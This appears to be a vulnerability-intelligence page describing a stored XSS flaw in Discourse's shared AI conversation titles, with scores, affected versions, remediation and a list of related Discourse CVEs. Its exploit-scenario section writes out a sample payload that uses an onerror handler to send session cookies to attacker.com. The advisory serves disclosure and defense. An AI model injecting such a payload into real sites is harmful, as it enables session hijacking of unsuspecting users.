Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability carries moderate real-world risk despite a CVSS score of 5.3 (Medium). The attack requires PR:L (authenticated attacker with conversation creation privileges), which limits the attack surface to users with account access and conversation creation permissions. However, the impact is significant: confirmed integrity violation (VI:L) combined with stored XSS properties enabling session hijacking or unauthorized account actions creates tangible harm. The UI:N classification indicates no user interaction is required beyond viewing a preview - a highly plausible scenario in a discussion platform where users naturally view shared conversation previews. EPSS exploitation probability and automated patch availability are not provided in input data. The lack of any public exploit code or KEV confirmation suggests this is lower priority than remote unauthenticated XSS, but the stored nature of the injection and the specific targeting of AI conversation features (an expanding attack surface in modern platforms) warrants timely patching. Organizations with large numbers of untrusted Discourse users or those using AI conversation features heavily should prioritize remediation. |
| Exploit ScenarioDerived | A malicious actor with valid Discourse credentials creates a shared AI conversation with a title containing a payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">'. When other users view the onebox preview of this conversation (e.g., in a chat message or post mentioning the link), the JavaScript executes in their browser context, exfiltrating session cookies or executing actions as the victim user. Since onebox previews are rendered automatically without additional user interaction beyond viewing, the attack surface is broad within active discussion communities. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 31, 2026
Stored cross-site scripting (XSS) in Discourse allows authenticated users with conversation creation privileges to inject arbitrary HTML and JavaScript via crafted AI conversation titles, executing malicious payloads in the browsers of users viewing onebox previews and potentially enabling session hijacking or unauthorized actions. Affects Discourse versions 2026.1.0 through 2026.1.2, 2026.2.0 through 2026.2.1, and 2026.3.0-beta; patched versions 2026.1.3, 2026.2.2, and 2026.3.0 are available. No public exploit code or active exploitation has been confirmed at time of analysis.
RemediationAI
Upgrade immediately to patched versions: Discourse 2026.1.3 or later for the 2026.1 branch, Discourse 2026.2.2 or later for the 2026.2 branch, or Discourse 2026.3.0 or later for the 2026.3 branch. The upstream fix is available via commit cac7d618a562ce934f8dbf73cdb70066a4806b4c (https://github.com/discourse/discourse/commit/cac7d618a562ce934f8dbf73cdb70066a4806b4c). As a workaround prior to patching, administrators may temporarily restrict conversation creation permissions to trusted users only or disable AI conversation sharing features if available in their Discourse instance configuration. Refer to the security advisory at https://github.com/discourse/discourse/security/advisories/GHSA-pjc5-8x3w-rfwx for detailed patching instructions.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from insufficient input sanitization in the onebox preview rendering system for shared AI conversations (CWE-79: Improper Neutralization of Input During Web Page Generation). When a user creates a shared AI conversation, the conversation title is processed and displayed in onebox previews - rich preview cards that appear when links to content are shared. The vulnerability allows attackers to bypass output encoding by crafting specially-formed conversation titles containing HTML and JavaScript payloads. These payloads execute with the privileges of the viewing user in their browser context, since the preview rendering does not properly neutralize script content before display. The attack leverages Discourse's onebox preview functionality, which is designed to generate rich contextual previews but fails to sanitize untrusted input from conversation metadata.
Know when Discourse gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, an attacker with the ability to create shared AI conversations could inject arbitrary HTML and JavaScript via crafted conversation titles. This payload would execute in the browser of any user viewing the onebox preview, potentially allowing session hijacking or unauthorized actions on behalf of the victim. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Discourse versions prior to 3.5.0.beta6 contain a reflected cross-site scripting (XSS) vulnerability in social login fun
discourse-bbcode is the official BBCode plugin for Discourse. Rated critical severity (CVSS 9.8), this vulnerability is
Unauthorized information disclosure in Discourse discussion platform versions prior to 2026.3.0-latest.1, 2026.2.1, and
Discourse is an open source platform for community discussion. Rated high severity (CVSS 8.2), this vulnerability is rem
Discourse versions prior to 2025.12.2, 2026.1.1, and 2026.2.0 contain an insecure direct object reference (IDOR) in the
In Discourse 2.7.0 through beta1, a rate-limit bypass leads to a bypass of the 2FA requirement for certain forms. Rated
Unauthenticated attackers can submit forged webhook payloads to multiple email provider integrations in Discourse versio
Discourse is an open-source discussion platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploi
Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.9), this vulnerability is r
Discourse versions prior to 3.4.4 (stable), 3.5.0.beta5 (beta), and 3.5.0.beta6-dev (tests-passed) contain a critical vu
Discourse is an open source platform for community discussion. Rated critical severity (CVSS 9.8), this vulnerability is
Discourse Patreon enables syncronization between Discourse Groups and Patreon rewards. Rated critical severity (CVSS 9.8
EUVD-2026-17549
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB